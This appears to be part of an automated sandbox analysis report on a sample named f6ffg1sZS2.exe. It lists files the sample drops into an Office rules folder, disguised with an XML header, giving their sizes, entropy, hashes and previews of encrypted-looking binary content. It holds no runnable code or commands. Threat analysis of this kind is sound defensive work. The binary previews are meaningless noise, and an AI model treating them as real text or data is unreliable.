SSDEEP:	24:MDGuva1lll8Gyx/0FzDcLdeWGjeLwuJbD:KxvafbcpPGjePD
MD5:	39B7EE866C40BBB781B8E69E57E207E2
SHA1:	A236B9BEB0A8AE77CC9A9F2309CD9CC7A9F78B9A
SHA-256:	FA644F9129ED926C055316A16CDDE61BD86A116C70C278756909F19AD0E08C76
SHA-512:	154272940D0A2D631CAF13018474143B3B09F00CD88CC3B67A72D302868839E2525E81DAA93FD9E49CF59C9FA286CCC8F3808A5860E5FF71F9EDD9C8FDB4B63C
Malicious:	false
Preview:	<?xml....... @..j6a..y&7.4...J...&Lr.Z..u#(N..9.r..K.5.`~.=).=}.0&N....g.P.A...V.....q...n.C.-....a....).NG..G..3y.4..C...R.d7g..9?...........;.G.zZ.+17...G.q..M....A"z`M.-xc...2.`.eKgfA9...V..oE..:.dh 7c.....Q8..QJ.....r...58ks..G..R^.'...D.5..3...r...v...0....S......4\.2.j..D}8.'..i.X..;AD...g.H&"bK!....6..%K..n..g.@.L.gf...w...#.u.2...........n......4..... .."aS.Z.4._.@.....\d.].......B...6.........A.Z.dl........jK..j.....F..4.W.h,....&../O.}..)..n: n.....I.#......_...t\|_..{.......9..Do.`...Q>i..M..[../..S...p...R.7.7,..IH..l.xn ..../$U(..4.u....T........i>.SZ3.=...<.}/....N.......}...uy.z/....`]..$....~.JH.........A<4R.6......gA..C.W6...D.P.... .).*..D.9$=V.~.[.P...#...W#...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120653v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.730482675229573
Encrypted:	false
SSDEEP:	12:Sn1Lm4z3pgak9bWY8rS7l8i02iCX+lYRXkueMt1iJxkS2cii9a:2LP2MY8G58i0FCX+qX0SAsbD
MD5:	230FCD779FF22AA1EB36896B093749D2
SHA1:	2DA6013228EC5CB619E05F96D06C47333A7B1E11
SHA-256:	4B0AF21F3877B2201E4424B36FDCCD406DFF86F03EDA386847E399959B43E156
SHA-512:	61839BEF636CE9EC89D31ACED8CE1E9101880EDA5830552DA31DBD006CC62F6509E892DEEB9364F8622034709F404D4D72F1A34A0B430FBBDCB30AE484818FFB
Malicious:	false
Preview:	<?xml..".E1..@&.\0..m..&....+u3@.......`....\< ?.w$...j. u..z=...+AO.)..lB4. ....CH5.4CHV.>...2o.../....'.?(.U^i..Z.k....&}xEI....yL.]..h.Q.......&mp?...7n.^..w.......)\|xH{...#.e.......S6J3.....bb...t.nC).X..0V...-.C.q......1.+.........P.nt.&w....b.n..wb-.{Oc....7a.~.~..!&q.....#......\.5!}dg.da{.........{...._."E.Q.u.....:.4,....p.2..^Ps.}.Pj..w..4.*......o.Dd....3.........P........y..~LZ.....n\X_G..B..D..T.{t..!o.Ge...........<t :hY.G.c.6..,......p/_..#.Y..PWKX6B...e.[..\.r..@..XA...08..5^.D.uj.c5..]..'\.......M..n....]...,....."jF.. ...........8.O..p\..=....[ga)&..s..<.W...g..u....c.....V,...?s:..j..@.....C.....Q.5....<LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120654v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.69359721779184
Encrypted:	false
SSDEEP:	24:vNlLB0NRqrxCFyPAuc4NGgYB2UJFGVrRbD:vNh0RVIbYB260VrBD
MD5:	6C1F7C0D162D72D71A00AA24869D10DC
SHA1:	4F8D0E2131C09F2EB1984C987476E1233E13BEC1
SHA-256:	FD8E0F144BE8277F53D4A9996A075ECD794B94CC10E72497BBE293B8C411EDC6
SHA-512:	5BB5C2BF8162CD0478FCD87266F552B133B8EF72B24353E429EA444E46B0552E84D4895171062B1126413A67AE353A9CA876D8F88131A1A9A7C9505AA4E83FA3
Malicious:	false
Preview:	<?xml$....d..QMBH...=...l.7..;....q.H...f..q...-..._.{2:...S.F.y...P.{1.g5v......]9UO..U...Jd.....6F....[?u...:.k=VV..a.(..J9.L.....x.w.7P5/.......x...]=..gt.Z.+.N.o}m.El..C4U.....$...'c2ma...M....Y.T..&..........aI0.9.&..=V.._..........A8jy.._m.:q`.e..{,....:^.....j,u#..\%>0.`!.w2.4.3....(.wOV.E7l.o.x.......sI..pS.......&....v.,X9.{..r..?....N.b.E.qO.M..2.")ND......!..Z.g...C...0.].+...H......F...B..S...og.T..t).T.I..Z.m.%&;Z..DM}wU.U4A....I..<........\~..E=* ... ...e.p...=.B{.[2c`.(.....6FG!H.=wi``..D.n."b.=........p2B..a..d.b.tF.MD.p...Iw...&....h..a..P\|...\|..y.$;64X.3....!V.&.o.G....8.ako./cq....J.l(t......".y..:.6.]...4c\|&...]qo..;u.b.H,..0^;.6......Up(....x......1[.9.t..n4BLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120655v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.659162338607348
Encrypted:	false
SSDEEP:	12:i/Weqv5MVGQYB2n0L0OkcaZWrxh1bn84+j3jbLwi+IddD1yqFUYnHtfyH96Haihb:sGVoLcSQxh1r84+bj4f0YqFZHsd66ihb
MD5:	198A436CB58C25F19106DF49B9829284
SHA1:	F7D266F7F720AB11BA0AB35C1863AD36EDB5DC11
SHA-256:	BA54F7ED6A1543CE93B969692578F5DEEA20A3C23BA8261CD5E5A16B6B7EC84B
SHA-512:	9280D6F053D890A55C39B1441F467726959DA62B17360D14A42D8C1F1E7A77A2E1A1F8BA7D6A25D64896995EBDF5EBE0D9C2B511F03C1B93DA1A5D12028F8C57
Malicious:	false
Preview:	<?xml...U.@..t.d>.U.jk1.?~D"hsI..!=^.>.{B..-tP.a:..2...^.!....e..,...<h..z..f.W..P..8:{..@.g.F.3!dP.!.[.........i.."9..Bm.`.U.L..4Kn^.0g.A7u.G...;...{.&.'.......L.CTJ^..h>.\%a..{Zm..p.;.d.t...dX......4...[.tStw.s6..X,p...$..z.....P#L.....;jj~..k..O^w..Ut...a.j..Z.G....o.@Q..5@:N.!.6....Y]]V...+V.K.....-Y...%..8.......`...y7<)h...'-\o...&.....p.:.6.X......vcI..p-'..Q.S.IR..cK.4.EAG....O.....:>{....`.....k.&.....p&.@..m}.Os...c.J.s..c2q.N..../tAcK!hO.G. ..3.}.m.LA.....!.h.@hUnF.#7..[....{...J......,.s)..v...iu1B.FRa).D...0..O8...\b8%...}H...j.'ZA."......C1.7.`e.:~....V##..&.E.....k..Q...).....D..............4Y::..K....s!...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120656v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.7287850311507515
Encrypted:	false
SSDEEP:	24:ARdKh3pAotqVoNTbK9PbpkHno0Qv+8n9iB76q9ybD:5hZnt+oVmPCnoDTn9M+TD
MD5:	5F10CFB6AFB29B91880DBB27AB24045C
SHA1:	6DCCFD997D371450C5E2909D35BE663A16F15E40
SHA-256:	6AC2EDED0DC11E9C3F306A20771539B1A0D2D1D3CE88172857155E8B59702620
SHA-512:	D4FAE5483165C9879A928064962CBD0722B868D209C3315F5A97B10B9CA474ECA67C6D90FDAF93B5DE53A3FB98D615D560B70FDBDF4602AFFBD6A602329E57A9
Malicious:	false
Preview:	<?xml9..C.hzXZ....._N.{a/.IV..a./@.^..............s.V..R.a.......X....u.).3...2.$.;l....r^.....o.....ENo...a.V.k.M,."b.;.l...~-..x,X.aK..e.).=a...m.!...F.R.U.....(v....cd.8.4C..;.W.........2.\H..u.eV'b.r...`..7.u..<.,..lA..8....'3..h.(..3...y.[m...b:..P..J.Lf......!.:>..........b.T.Z..-...C.R...i.&..%.kP.4N....R'..v.....7..Lz.q.T.g...3$.......N..oa..W...+l.3X..X..Q...>..<..:.4....r.m.Y....;..Y.g.o...)?.+/.v]..#......N..G\|...gb..&.N..L.....M....XE."....]...3....\|..k/.QU......V..Zk..C......w..!"...\|.......:.....[*.Q..$.l.b...\.c.W..Y.7....NrW.B..C\|..}.U/.k.8....P.-D.C.@.jS'[..9.6?N+.].O.e....io'E.=..#c.o){....H.z..7"....EjJc.M&.dp)>....-.....6;......L......p.:]......U.E...@...x..A.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120657v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.708969070729708
Encrypted:	false
SSDEEP:	12:aScmkFTHzAwdNCaAEu77KtNdYJW4zDITxY50JmNRXdrchS+2GPfY7S2cii9a:HcVTAwfCLF7+6XITxZOXVGPfYbbD
MD5:	3BDE9CA8F2D1318DF1585BC7B7C50244
SHA1:	78C96EB67F12E0C613FFB596A0A6385F37D2FB9F
SHA-256:	9E36B888B0F1E6AADD920B2C924285CE96883E9FD9A60B4DB11FAAB9F84BD5A4
SHA-512:	18B737BC0ACC6FC05B8B602F00CFF970D3233A5F2B1B3FAA07EA43B554E417F5C167377D2499A336EA2FD691B12943ECFD70A2BD5A4C587175A1494857B0C389
Malicious:	false
Preview:	<?xmlS".h@V.OT....1+..T&.....9../Xr.>hm.m.8o.Cl..N`~..n.z../p..Ol...W.y....a.~..D...Z...\........wP.{..F..'.c..;.....P.9...........L.(..y...Kw.A.....d7O).0`Y&..g.ah..."....d.>8....J../..a..>..~....l..}..H.U.....Ip)WYl,. .K.c....a.9.d.yY ....eSs......y{(.M,........d..0f9.Hk].R}c~.....X....R...X_:....i....a_M.2..}^........^ .......e.%.]%,~.P.EE..fF..Zm.f)...3.g...KL.&......R....<..t.<%.U_..>.F.(?.q.H.o..z#..?+.$R.....d.....s.R... .t...'...3.....,..i.t....;.L..A..F.;..F...Ky.B......./.....I.Ft.bE<..r.....".........e..F0J.w..1.<{...N..Z}...X..e...b..%.i...^..p#..QSJ..AJz..._...Fz.................L..&.%\|.....D..lp..N.R..<..........,.kX.'0....LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120658v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.733610629186287
Encrypted:	false
SSDEEP:	24:n2rnY/1l7X/SyjEYPnMiTgQwmRus9UP3bD:2w/SK0pQwMyTD
MD5:	52F17A5E011174C20FC6E9BF419DAA84
SHA1:	84EA766CD5C710E3E5A21966F781832D864F8743
SHA-256:	CA6BE18F0C3AA75F99D144BDBFF3E2D64BEEFF7A9371678C2E0F931A05A21E54
SHA-512:	6DBB1754B1631ABBC2F22E847727DE9CD27480FB5E686898673167158C9B6D979F4A5A05F019133CDA34C94CA8A6F8477A9B75B2405E5CDC38ADE91108873635
Malicious:	false
Preview:	<?xml2..z..)z.j.&..CHC.t..+..L..!E5...{...m.....T-v........V.gx....].M..N2.w...\........\..U...b.e@.]4 ...Hb!&.."7..0z..1.......a.$CF51:...^..@....J.&."vS..6@...A.o..............i........J.w...Z..H...\|.i.{..!1.U....q.?De...RUe.cl.,;...0&#..sJt.#.s.z......\|.T.....%N}.T.q..W.2..P..f...{L....N.k.?..?.l35^U..k.[..K#...fC..D6.W......1.#.}..4.$Z.b..C&..R)3...].G......F@.H.....J.q...9+Y:n.5.....B.....H.U.u.xl....t.`..s...I...E..1..EC\|....a..j...k.z......&.9.[..VoF/..{.0@.a..'..Z.D.:....}.....@m._.......?.i..5.......P.........a.H......dW3..o...........d;B.q.m..,.Jw......kl.-...X.~D....E". y.J...;..(\\|...I.Sp..S.\...4..@h...^.77..F..7Y..J....q.xd...\|...1.3............c...i#%....4e.'..^Z.l..[...h.!LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120659v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.682011694157936
Encrypted:	false
SSDEEP:	24:9zKXBMp7ISwH1nZSkhTLoUsM8OS1XIbI/AbD:9zKXm79wHjSwoU78OnbbD
MD5:	D0186CEB9496C4F89DCC25ADDC2E026C
SHA1:	7E66E08C8F865C83AD7FC3751F9BCBC78E8B8341
SHA-256:	87D13E57E65940A7F211A84C6F4A1AF5556DD0F12DDC1EFBDE4DB114CA91D137
SHA-512:	A1D85CFEB915CEDB53798E8CD612550E502850A3E2C8D3773DF81FACF0B888A2CC585F4BCD8044F5C93CA88C603DC031E21EB5B51DEDAD878486A44E5212A094
Malicious:	false
Preview:	<?xml.H,$..B.*M2QcWzp..n..{...I.L....=..f...>.n.P.>;..,w.+...i.)...f.:6..#..~./....ff+..:=.../z.W.k........E..G.9....;.@...&.....:..b.h...c..\.B_......(..,.M....'yp.;.......[.#...FN....(.......j..L.!./._@H.Sn....f..c.UD......u.5.^.:.R..17...6..AW..d$L..o..}m....cfw.j+M.S/D...=....j>:e...:)t.;f.6...........tdg.....`f....\|)..>.GO..7..[.a..xYN.aA.I.. ..e..........\..8.....2Qf..(.....Kh!0...a......:.......w..N....f.E.krfX.Y....R$t.N.....b.4..m..So".....$..wC.Qy.7.....-..b..M>6...c\|q..0....nX.#._._..d'.F. 005..HE.....#)..F.=.....7....==#"],I}..>..s.g.....KF.....N.+v.!O.'..hJ..)(..y.+.^c\|.#.........WNF.z._.....>V.G.(....=.d.._^...m....b.".n.....Lj.9x...>$ .=/.;.....q.BJ...h.t./..k....LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120660v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.71598526753038
Encrypted:	false
SSDEEP:	12:VjG0kdodnngzQ10KO39FhwLo/MYzvKBUqwensMwnwQstsKD6gPlOtIVmuKH9T6jH:c0AuH1rOt4gz6UvenWQt5LNKdTo8I1bD
MD5:	ECB0BD884329E1B23E27D097ECCB7EFD
SHA1:	7E8F4D2B8007766B3DCE1FF6130CCAA8768A8735
SHA-256:	618CEC4F1337896411DF17545072BE25E2ADDC0E9FA8B7A0498D33201BF95468
SHA-512:	1C6CA829A1A75DC66E81E1C54C4FFD60F03AFBDFCCDC8FA9515EB85B838CB4538918DDFC28D4006CD46B41E586FAC11CFC898B1BE4FB42BC009C098AF13465EB
Malicious:	false
Preview:	<?xml.........xPf.........Z.h..A.H.JA.B=..6.C?.:...[.Qj:..$.8..7.G.@..=...R..Z6..,.S.~....ph_.l..=8......l.5Y..G3..a.K..Zhy'_........y...Mtv.G...'...%..EH..b.sueG.'s.IN.L..^..t....(g.=.~rX..Y.L[6ov.u.7sm.X....t6...W..i.Qn._..C.2k....... .e<Z..8..r.,..6..V5....'.S<.0}h....^iN..Z.G.]%.Z...\|w>..p..k...~+......g...P.,.N.....k..... 5p.x.Z?.L{..yB.Ef.......+.7n.M.._?.?rn$..l..Th.,"{..@....B..'GTUG....L......l..o$=.X.A......+,q.R..3nz...QI.....\|H.....AB@.:.}......&..w+......F...`0V.U.39A.....>=.i8.....U..r.W.......1=.N..........6,..$Z...............GKH..}H......,Y..r."{.......x..{q..A..p.U.60T...zV..<..P.c.].]....I9.3.Ee...+b...L.........".Eq.......+..".....MT9...o..BtlwpS.J.....w...i..Q...rLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120661v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.7175498731121825
Encrypted:	false
SSDEEP:	12:cYP5xttn88gaRFamey3DapkA7aZ8HJCGPaRhJ6a+pDGgkKnS2cii9a:cYLtVLga79/DapkAuZYCXzJ6nbbD
MD5:	3D9349CFC9E97A5873FA28919BEB33A9
SHA1:	0586925EEB290458BB823EAF2348E3AE8479DF47
SHA-256:	2A8E75AFCF9F6FA82070F7DBD3ED2D3C90307629840E23D743CCDEB29A4D3C87
SHA-512:	F3A9890115E068765A05BF00C699A8F571F3D7A10BB8EA664DA17D26E697A25AAE612108F0F2187B685481E5A41EA23B8372D29F70D65DA0AD5CD3CDE1B21801
Malicious:	false
Preview:	<?xml.p....S....p.G....?.3Nl.O.X...f...,8S...PrV.%....&..i.]...b<2.dF.....9...K...0X.......\|..T.>..V...F'....^...._.h.7.6o...(..Z..2..(.I...?0.V.p.N.a......%.N.d......M..R........N.$[..o.Q.....Lbu{7..Kz...W...&.(...~6H..x........u....FL......g..b..=..+......tG.^R. ..V...f.... ....r.E.3../...;+7...~...s.......P<d...7...5$....].._i.._..0... 9I....N.........Z......c..}Ao9...).:PQ..c....8J.".....f.h..}b....Y.\|.?....H..x.......KC..3.2W.z.......+....yY...$HJ.r./.... .l.4J...e>....R._.X^/F...X..36.'.Sy..g.)Z.".xm.....@..b%xW...kT......Z..[.KHf...*)..b..#.....`cK.........e.P...G..9>:....D.J....Y....._.P...{...e.;..j7.....j/[>xl!..O..[{LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120662v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.731576055478534
Encrypted:	false
SSDEEP:	12:zQgS9CCQubEHSbiylNZOkTxDBfbcZRgRsBhq8EeUd7dfywF9fMggttS4w0UV4S2X:Ur9I6EclTxDBfbcD5hG3ycOgklUVgbD
MD5:	4BC6A78BEE889C59FD404D82E5055DAE
SHA1:	5738F08F0C51D8034A51AF0399A4F5A2024DA28B
SHA-256:	36FE5359BA9E618FBA52E19EAC3037EBBB16AD15A00BB9B5C8F19360B86E2FEF
SHA-512:	8B0B39886077B0FAA3056D8507D9281715993CD6024DFCE2517B41914C5BB879581401FA812FAA22F42989AB1D725398986B6FB418B0F28EA430F82BDB02255E
Malicious:	false
Preview:	<?xml.tM....#t..H.#V%H]..?.V.S..]]......Ad5..s..3?.hD.v.?k.0O.9.w$~\|...r...9.......}Y.c.Z.DaV.di)#..pT.jS....$.....j.y. .$&.@'..[.l....F*W.K...>..........$...z.-K.j-.S.D\n..Mj..6./(.V~[5.....!.X+R.SG..r.6`..G..H.&"qH...gxep...&..1........TT.&`l;...x.!f...;.'..O8:?.8.xq.T5.....X.7f......MoX..P.x.Ms...8.v...jX.t....%.7j=..bk+']...o.?.x.&%......U..>n.Y..P.-F..S...D..^f!...WXF\....Q ..[k_D..Tf.}..u..,....\|..\.8......K.0.....,..f...i.qc.H]]K.k...S..5.#.......=.YpARy.a8.2=....;z.x9.9.;k.Pi!..H..Be...../..=.....P...V.j....C..~.....w....~....4...6..H..~.bI..-.r1....z....Ax...sw,+..+.pf{Y.VW..._..j.}....\|\|/.r..... !..m...4...o.h.....(t..h.X.D..~...Y[..T._..S.,.w.\..3.(..h...=....d...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120663v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.6678914066991855
Encrypted:	false
SSDEEP:	12:AyKdTq6IwtZbqcZ8R0k/d0pASr1SSORC9PdtcZIOFMYj6909tv1YWOhKHsF8Djhx:SmrqZbLZ8R0k/aAGSNOPdt4/FXs071Yk
MD5:	DF4F8B57739138CD23871EF1FF93C267
SHA1:	724112678EE5E2567B84D5639F1325CB16F59A2F
SHA-256:	7C3124814089813ED9A5964516C694D0F26F68C1CFA99501037584AC285126F4
SHA-512:	64E7B29537B86C2DB8A3246C382980B8336240B028D18C77B8496030746349DA0AAAB868737353C01C32060A9EBA493B2E165739EDE163211F816C42F26C215E
Malicious:	false
Preview:	<?xml.....H.....(O.. F^...wu...W...(`...=.{.mWY...n..p.7.5.L...S)n.\...w>s.a..I..x.h...........u.@..d.wi.....[.w@j.......C..+...L.mv..F....%O......>..y.......a3...r....L.......[k...e'..f.j...I../.E..y...W.om0........P..6.I.Y.7.M......a.3..f.R.:.g..;].......L.xx.KT.a%Q?r....j.......r....[]>(..@.n.....K....m.oD.l(.1.s7.U.gE\|..z.a.....P."Y..O...... .. \D..^19kA3...7.5...cu.T...f..t.U.+.dK..5.....qC&A.p...L.R.s._..IJB^X.puJf..P..PE.NE....,......,.T.-"H.....S....zv.d-....ZX.`..g..ei..&.=V.6.y..2.l.2p.;..t.s.....B '.D.A......l.......0..05.....n."fK7.......c~.ad......\|tI3.~D6@....0..D.T..6..[...]...........(s..o...l~\wY..E.-..i.Wv.PxLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120664v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	835
Entropy (8bit):	7.768444475118589
Encrypted:	false
SSDEEP:	24:krLj2t+E3LcJq9cq24e/PoXt7MKRF2XbD:gGt7aSca3MKRaD
MD5:	AA96786196943EF3166A5BAC017CD545
SHA1:	16BE5A54832728B589A40DBCF0187675A4214D38
SHA-256:	F6A40F21D337A31D633FBD01547EACA59F49AFC363598FE4D46392A03BE9F424
SHA-512:	D8C10FD3469179C2B82EE46E4BD64490554031AB770E1A5F7BE1C643AA2E90CB0DEB4B95DBA4EB0777D1617919D52022AB5922372BD351E17FE54B347B427AC2
Malicious:	false
Preview:	<?xmlnm=..t.c)Ay.juc..[........U....Z W..=..5SxW.!.....2...&..........[.......g.+..ZF.c..0..Vh}Hic@p.....-.....:..u.....aO..~j.J...&.%...i..&%CGI.baRX.vN...6...+p.7..Iv....Y5R.=....N.m.qA..mn.].T.A.^...L......^\|(4.CCbM.1.J...sE.yv.......^.....l......~x..L.n.....+..C.-.{Y.\|i...o{sX..X..,5Fj'..\|Z^o+l..I.. .I._y4w.......)...}.K...r.\...f.I.{.S..J<g`.1b..S..Jv0.O.=.%.f..7.....Uu.e....D.Q..d0,W..@xS...`p.i.X.S<..{...e..\......q._..z.H...!r...en...q.....@.......?R......lW.d."....>..u'...qU.s...5.9..z..".;V.,.;QQ.>.Q......! .B..>.....R....wV.c.&...S..3.....'.....\|.-u.Q.].6........+.UXR#R!.. .=...x...o..^\| .^....z{N..(.T..r...N(. x.q.5.tw.?..0.U.. .5....&.......UV....q.\|.YQP.?G..7..r....F`u..G2y$....r.......efu.....&..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120665v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.744995138100194
Encrypted:	false
SSDEEP:	12:o1YtbKcsItJgDVtp/YXkwXUy6YCtuMAhmReZzT0bxqLHgS2cii9a:eY4bOJg6XkIUy65nYm4EqsbD
MD5:	5514A059D56505EAAEA828A76342A7E1
SHA1:	3976AFB54F22F8EE9CAF20C0BD6ACB0709482467
SHA-256:	9B659000EFC8E914DC40F667D01BF83036B30D223F9B2D49B62D2D07724684ED
SHA-512:	F27AF12EB3FCBF8C9DAA42A802607799715B09507F73BDB02C1EBD9F5BB41C9C41A291A73BDCD2EB42200EDDB32E144C13506D3C9C1BB91264BE32345070F618
Malicious:	false
Preview:	<?xml....FvS...@.b.Z1;.S.h@'..&..v"...._..^.....NP_..S..J..e....9R...Z.S..PB.w`]Z.. 0.]...D.g.Gtf....y.6..0A.2\?2.<G;.....^tJ.....E.g..k.=;.........o...-......d.W\.....-c....PK....v.c.../.S....el..b...kS......Bc.@..{..%..jU.A....<.......[uhO.+2.U.`....+....m...s..\m..@.pV.&..%......d.'.O:..+.U...et.....C...I.,^..X...Q.2....:..MX..W...v.....\%......s.Wd..}.Y.....`j....-9....w...s....n.+.(..<e..(G...!>......>....FyQ>'V..tS).....K,.g..f7u..f.>.....k8.(.vZMl.o./s....5.$...R.....q...4K..1.....E...0..~....Y..{}>k..%.N....P.T..9d0A.j...v.A.&..'G^.z..6..=ndI.......?..%.......... !......"...V...f5-H...up.y....j......MR.S..XLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120666v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.767993721166497
Encrypted:	false
SSDEEP:	24:p4HlGKpkALjo/bHE6vLK++h/DitV3Pzwn5cm0xbD:p6lGIk4Ubkiu++h/DwPzgOmQD
MD5:	AC05A32ED77A115974B548CCBEA0CB7C
SHA1:	077F9B39009B810AA671EC53114424062772116D
SHA-256:	F70BA8692C069DA1272BAD66BC6B669427A7BF7B4762CFDD332DDD9013FDB02B
SHA-512:	51B954FC3EA6C824A95CAEB9254F12C53D005D694B2C808FF74EF728F2C8F59F642A6090018E259E8C9468026FEBBEB365BA74CF94DF084559D2A0F23EFE4938
Malicious:	false
Preview:	<?xml..)...1...2H....i.....E...~..^{f\|.sH..-4R.L@.....}..\|?.{5.oM1.B.p.4k_..At.0..x....=d.....G....Kct.#.%S..@v...Uy..HW.......E..._.,..V.$.qY.Rv.l...K....u5.\|KT. ..WL..#.s......l.K.....]`o. ..S.<.N...r.....Z6....M5.:...aO.f.ks...\|...{jU...T...Na..qV3!../.....V=.*`.....(.....G\;............1.c...L.h........x.b.T.5Y0...../...j.......- .....Z..L.;w.!.'._d......g...CI.;.6....}....+..;...S7.^.S....FW.R.<.......:.......w.y........./...D...;.I..I..v.pER..A..1.......i.W.p.....)...7;..n. ...2.-.I....q.0. .JdNjL.3.m.....p..!O.x~Ev.a\|..H.F...zt..R...T/'!e..{,T..d...J..~dQ..P..R..8..Y.....2..p..OIH.#O.......x...w...P.p..Z........lx...]..~..ehAp.....{5....@.................e....%......KLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120667v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.65232045398168
Encrypted:	false
SSDEEP:	12:QlYC+fGDONGWoYXim2dzKMMwoESK6O3yA51h/oJZ242bbePCH4Gt69FnS2cii9a:QlYC+fhZoYyTTMlESKpt/tQPR069F3bD
MD5:	2DFC07E9AA2622DEE4421DEED4A1D0E4
SHA1:	3B82A7F928EA177A4ED012EB793D70D8BCD1B98B
SHA-256:	6EBB8C0E9D270003A967DCE460486D13995F3941F433689780D93A325842075B
SHA-512:	728CC6BCEFBA56E6FA1EF00F20DFCD70965CBAB0066538297062686531BEE0FBFFE6C6CD4C007C2889648C6C0787B9806ACE9D30A442892D1030A9F9F3C23E94
Malicious:	false
